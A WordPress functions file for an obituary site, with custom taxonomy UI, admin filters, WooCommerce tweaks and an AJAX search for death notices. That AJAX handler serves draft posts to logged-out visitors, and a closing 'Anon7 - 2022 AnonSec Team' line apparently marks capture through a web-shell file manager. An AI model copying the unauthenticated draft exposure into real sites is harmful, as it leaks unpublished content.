    foreach ($terms as $term) {
        echo '<p>';
        echo '<label>';
        echo '<input type="radio" name="tax_input[' . esc_attr($taxonomy) . ']" value="' . esc_attr($term->slug) . '" ' . checked($current_term_id, $term->term_id, false) . '> ';
        echo esc_html($term->name);
        echo '</label>';
        echo '</p>';
    }
    echo '</div>';
}


add_filter('manage_edit-obituaries_columns', 'add_obituary_category_column');
add_action('manage_obituaries_posts_custom_column', 'render_obituary_category_column', 10, 2);

function add_obituary_category_column($columns) {
    // Insert the 'Categories' column before the 'Date' column
    $new_columns = [];
    foreach ($columns as $key => $value) {
        if ($key === 'date') {
            $new_columns['obituary_categories'] = 'Categories';
        }
        $new_columns[$key] = $value;
    }
    return $new_columns;
}

function render_obituary_category_column($column, $post_id) {
    if ($column === 'obituary_categories') {
        $terms = get_the_terms($post_id, 'obituary-categories');
        if (!empty($terms) && !is_wp_error($terms)) {
            $term_names = wp_list_pluck($terms, 'name');
            echo implode(', ', $term_names);
        } else {
            echo 'No categories';
        }
    }
}

add_action('restrict_manage_posts', 'add_obituary_category_filter');
function add_obituary_category_filter() {
    global $typenow;

    if ($typenow === 'obituaries') {
        $taxonomy = 'obituary-categories';
        $taxonomy_obj = get_taxonomy($taxonomy);
        $terms = get_terms(array('taxonomy' => $taxonomy, 'hide_empty' => true));

        if (!empty($terms)) {
            echo '<select name="' . esc_attr($taxonomy) . '" id="' . esc_attr($taxonomy) . '" class="postform">';
            echo '<option value="">' . esc_html__('Show All ', 'textdomain') . esc_html($taxonomy_obj->labels->name) . '</option>';

            foreach ($terms as $term) {
                $selected = isset($_GET[$taxonomy]) && $_GET[$taxonomy] == $term->slug ? ' selected="selected"' : '';
                echo '<option value="' . esc_attr($term->slug) . '"' . $selected . '>' . esc_html($term->name) . '</option>';
            }

            echo '</select>';
        }
    }
}

add_filter('pre_get_posts', 'filter_obituaries_by_category');
function filter_obituaries_by_category($query) {
    global $pagenow;

    $post_type = 'obituaries'; // Custom post type
    $taxonomy = 'obituary-categories'; // Custom taxonomy

    if ($pagenow === 'edit.php' && isset($_GET[$taxonomy]) && !empty($_GET[$taxonomy]) && $query->is_main_query() && $query->query_vars['post_type'] === $post_type) {
        $query->set($taxonomy, sanitize_text_field($_GET[$taxonomy]));
    }
}

function change_add_to_cart_button_text( $text, $product ) {
    if ( $product->is_purchasable() && $product->is_in_stock() ) {
        return __('Buy Now', 'woocommerce');
    }
    return $text;
}
add_filter('woocommerce_product_single_add_to_cart_text', 'change_add_to_cart_button_text', 10, 2); // Single product page
add_filter('woocommerce_product_add_to_cart_text', 'change_add_to_cart_button_text', 10, 2); // Product archive pages





// Filter the featured image to show logo if no image exists
function display_logo_if_no_thumbnail($html, $post_id, $post_thumbnail_id, $size, $attr) {
    if (empty($html)) {
        // Replace with your logo URL
        $html = '<img src="/wp-content/uploads/2024/10/Logo.webp" alt="' . get_bloginfo('name') . '" class="site-logo">';
    }
    return $html;
}
add_filter('the_post_thumbnail', 'display_logo_if_no_thumbnail', 10, 5);


function past_death_notices() {
    // Debugging nonce
    if ( !isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'obituary_filter_nonce') ) {
        error_log('Invalid nonce or nonce missing');
        wp_send_json_error('Nonce validation failed');
        wp_die();
    }

    // Continue processing if nonce is valid
    // Sanitize and retrieve filter parameters
    $date_filter = sanitize_text_field($_POST['date_filter']);
    $search_query = sanitize_text_field($_POST['s']);
    $category = intval($_POST['category']);

    // Set up query arguments
    $args = [
        'post_type'      => 'obituaries',
        'posts_per_page' => -1,
        'post_status'    => 'draft', 
        's'              => $search_query, // Search query
        'date_query'     => [],
        'tax_query'      => [],
    ];

    // Add date filter to the query if provided
    if (!empty($date_filter)) {
        $args['date_query'][] = [
            'after' => $date_filter,
            'inclusive' => true,
        ];
    }

    // Add category filter to the query if provided
    if (!empty($category)) {
        $args['tax_query'][] = [
            'taxonomy' => 'obituary-categories',
            'field'    => 'id',
            'terms'    => $category,
        ];
    }

    // Run query
    $obituaries_query = new WP_Query($args);

    // Generate response HTML
    if ($obituaries_query->have_posts()) {
        ?>
        <div class="obituaries-list">
            <?php while ($obituaries_query->have_posts()) : $obituaries_query->the_post(); ?>
                <div class="obituary-item d-flex mb-3">
                    <div class="obituary-thumbnail mr-3">
                        <?php if (has_post_thumbnail()) : ?>
                            <a href="<?php the_permalink(); ?>">
                                <img src="<?php the_post_thumbnail_url('thumbnail'); ?>" alt="<?php the_title(); ?>" class="img-fluid thumbnail-img">
                            </a>
                        <?php else : ?>
                            <img src="<?php echo home_url('/wp-content/uploads/2024/12/CANDLE.jpg'); ?>" alt="<?php the_title(); ?>" class="img-fluid thumbnail-img">
                        <?php endif; ?>
                    </div>
                    <div class="obituary-content">
                        <div class="obituary-date">
                            <small><?php echo get_the_date('M j, Y'); ?> </small>
                        </div>
                        <h4 class="obituary-title">
                            <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
                        </h4>
                        <p class="obituary-excerpt"><?php echo wp_trim_words(get_the_excerpt(), 10, '...'); ?></p>
                    </div>
                </div>
            <?php endwhile; ?>
        </div>
        <?php
        wp_reset_postdata();
    } else {
        echo '<p>No obituaries found matching your filters.</p>';
    }

    wp_die();
}
add_action('wp_ajax_past_death_notices', 'past_death_notices');
add_action('wp_ajax_nopriv_past_death_notices', 'past_death_notices');



function sort_posts_by_date_in_dashboard($query) {
    // Check if we are in the WordPress admin and it's the main query
    if (is_admin() && $query->is_main_query()) {
        // Get the current post type
        $post_type = $query->get('post_type');
        
        // Apply this sorting logic to all post types except 'attachment' (optional)
        if ($post_type && $post_type !== 'attachment') {
            $query->set('orderby', 'date');   // Sort by date
            $query->set('order', 'DESC');     // Set to descending order (latest first)
        }
    }
}
add_action('pre_get_posts', 'sort_posts_by_date_in_dashboard');








// function allow_draft_view_for_visitors($posts) {
//     if (is_single() && !empty($posts) && $posts[0]->post_status === 'draft') {
//         $posts[0]->post_status = 'publish';
//     }
//     return $posts;
// }
// add_filter('the_posts', 'allow_draft_view_for_visitors');


// //Banner Image link
// function display_featured_image_with_link() {
//     // Get the post's image link from the meta field
//     $image_link = get_post_meta(get_the_ID(), 'image_link', true);
    
//     // Get the post's featured image
//     $thumbnail = get_the_post_thumbnail(get_the_ID(), 'thumbnail');
    
//     // If the post has a featured image
//     if ($thumbnail) {
//         // If the image_link exists, display the link along with the image
//         if ($image_link) {
//             echo $thumbnail . ' <a href="' . esc_url($image_link) . '">' . esc_url($image_link) . '</a>';
//         } else {
//             // If no image link, just display the featured image
//             echo $thumbnail;
//         }
//     }
// }




function grant_editor_product_permissions() {
    $role = get_role('editor');
    
    if ($role) {
        // Basic product editing capabilities
        $role->add_cap('edit_products');
        $role->add_cap('edit_published_products');
        $role->add_cap('publish_products');
        $role->add_cap('delete_products');

        // Allow managing product categories, tags, and attributes
        $role->add_cap('edit_product_terms');
        $role->add_cap('manage_product_terms');

        // Grant full access to product details
        $role->add_cap('edit_others_products');
        $role->add_cap('delete_others_products');
        $role->add_cap('read_product');
        $role->add_cap('read_private_products');
    }
}
add_action('init', 'grant_editor_product_permissions');


// function add_pending_condolences_submenu() {
//     add_submenu_page(
//         'edit.php?post_type=condolences', // Parent menu (Condolences post type)
//         'Pending Condolences', // Page title
//         'Pending Condolences', // Menu title
//         'edit_posts', // Capability (Admins + Editors)
//         'pending-condolences', // Menu slug
//         'render_pending_condolences_page' // Callback function
//     );
// }
// add_action('admin_menu', 'add_pending_condolences_submenu');

// function render_pending_condolences_page() {
//     if (!current_user_can('edit_posts')) {
//         wp_die(__('You do not have sufficient permissions.', 'pending-condolences'));
//     }

//     $paged = isset($_GET['paged']) ? max(1, intval($_GET['paged'])) : 1;
//     $per_page = isset($_GET['per_page']) ? max(1, intval($_GET['per_page'])) : 10;

//     $query = new WP_Query([
//         'post_type' => 'condolences',
//         'post_status' => 'pending',
//         'posts_per_page' => $per_page,
//         'paged' => $paged
//     ]);

//     echo '<div class="wrap">';
//     echo '<h1>Pending Condolences</h1>';
//     echo '<form method="post" id="bulk-publish-form">';
//     echo '<table class="widefat fixed">';
//     echo '<thead><tr><th><input type="checkbox" id="select-all"></th><th>Title</th><th>Edit</th></tr></thead><tbody>';

//     if ($query->have_posts()) {
//         while ($query->have_posts()) {
//             $query->the_post();
//             echo '<tr>';
//             echo '<td><input type="checkbox" name="post_ids[]" value="' . get_the_ID() . '"></td>';
//             echo '<td>' . get_the_title() . '</td>';
//             echo '<td><a href="' . get_edit_post_link(get_the_ID()) . '">Edit</a></td>';
//             echo '</tr>';
//         }
//     } else {
//         echo '<tr><td colspan="3">No pending condolences found.</td></tr>';
//     }

//     echo '</tbody></table>';
//     echo '<select name="per_page" onchange="this.form.submit()">';
//     foreach ([10, 20, 50] as $num) {
//         echo '<option value="' . $num . '"' . selected($num, $per_page, false) . '>' . $num . ' per page</option>';
//     }
//     echo '</select>';
//     echo '<button type="button" id="bulk-publish" class="button-primary">Publish Selected</button>';
//     echo '</form>';
//     echo '</div>';

//     echo paginate_links([
//         'total' => $query->max_num_pages,
//         'current' => $paged,
//         'format' => add_query_arg('paged', '%#%'),
//         'prev_text' => __('« Previous'),
//         'next_text' => __('Next »')
//     ]);

//     wp_reset_postdata();
// }


// function my_custom_upload_mimes($mimes = array()) {
//     $mimes['ttf'] = "font/ttf";
//     $mimes['otf'] = "font/otf";
//     return $mimes;
//   }
//   add_filter('upload_mimes', 'my_custom_upload_mimes');

//   function set_custom_posts_per_page($query) {
//     if (!is_admin() && $query->is_main_query()) {
//         if (is_post_type_archive(array('news', 'sports'))) {
//             $query->set('posts_per_page', 12);
//         }
//     }
// }
// add_action('pre_get_posts', 'set_custom_posts_per_page');


Anon7 - 2022
AnonSec Team